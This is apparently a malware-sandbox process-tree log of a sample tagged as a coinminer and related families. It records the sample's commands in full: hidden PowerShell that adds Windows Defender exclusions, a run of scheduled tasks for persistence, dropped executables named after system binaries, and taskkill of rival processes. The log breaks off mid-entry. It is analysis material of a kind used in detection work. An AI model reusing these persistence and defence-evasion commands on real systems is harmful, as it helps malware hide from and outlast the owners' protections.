    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4140,i,5497690229729075935,17539445797921917593,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=4236 /prefetch:8
    3⤵
    PID:2108
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2704
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:4520
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:4300
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4524
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  PID:3488
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:1980
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2480
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:3404
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  PID:3896
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2516
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:1816
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  PID:4060
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:4124
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2584
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1756
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:2012
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4560
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:3404
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  PID:552
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:2068
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  PID:1672
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:4660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:656
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  PID:2108
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:3792
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:4392
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:3120
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  PID:1368
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:864
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  PID:4916
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:1124
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  PID:916
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4320
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:404
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:3096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -and $_.CommandLine -like '*--backup-listen*' -and $_.CommandLine -notlike '*Get-CimInstance*' } | ForEach-Object { $_.ProcessId }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:364
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -and $_.CommandLine -like '*--backup-listen*' -and $_.CommandLine -notlike '*Get-CimInstance*' } | ForEach-Object { $_.ProcessId }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:656

C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
1⤵
- Executes dropped EXE
PID:1912

C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe" --backup-guard
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:984
- C:\Windows\system32\schtasks.exe
  schtasks /Run /TN HCCacheWatch
  2⤵
  PID:2376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "$r = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = '\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch'}; if ($null -eq $r -or [int]$r.ReturnValue -ne 0) { exit 1 }; exit 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -and $_.CommandLine -like '*--backup-watch*' -and $_.CommandLine -notlike '*Get-CimInstance*' } | ForEach-Object { $_.ProcessId }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4164

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1844

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe" --backup-listen
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2116

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3416
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:4520
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:5008
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  PID:1004
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4504
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:4968
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2280
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2068
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1088
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:4996
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4320
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:4100
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:3376
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3080
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4424
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  PID:4996
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1684
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4980
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:1076
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  PID:2108
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:4916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3744

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe --backup-watch
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1496

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3264

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1020

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe" --backup-watch
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3304
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:4764
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:4552
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:1688
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:2156
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  PID:3056
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4996
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3608
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4300
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:1612
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:552
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:2212
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:364
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  PID:1096
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:4316
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  PID:1912
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:5084
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1688
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  PID:3324
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4200
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  PID:4916
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1916
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  PID:3104
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:3668
- C:\Windows\system32\schtasks.exe
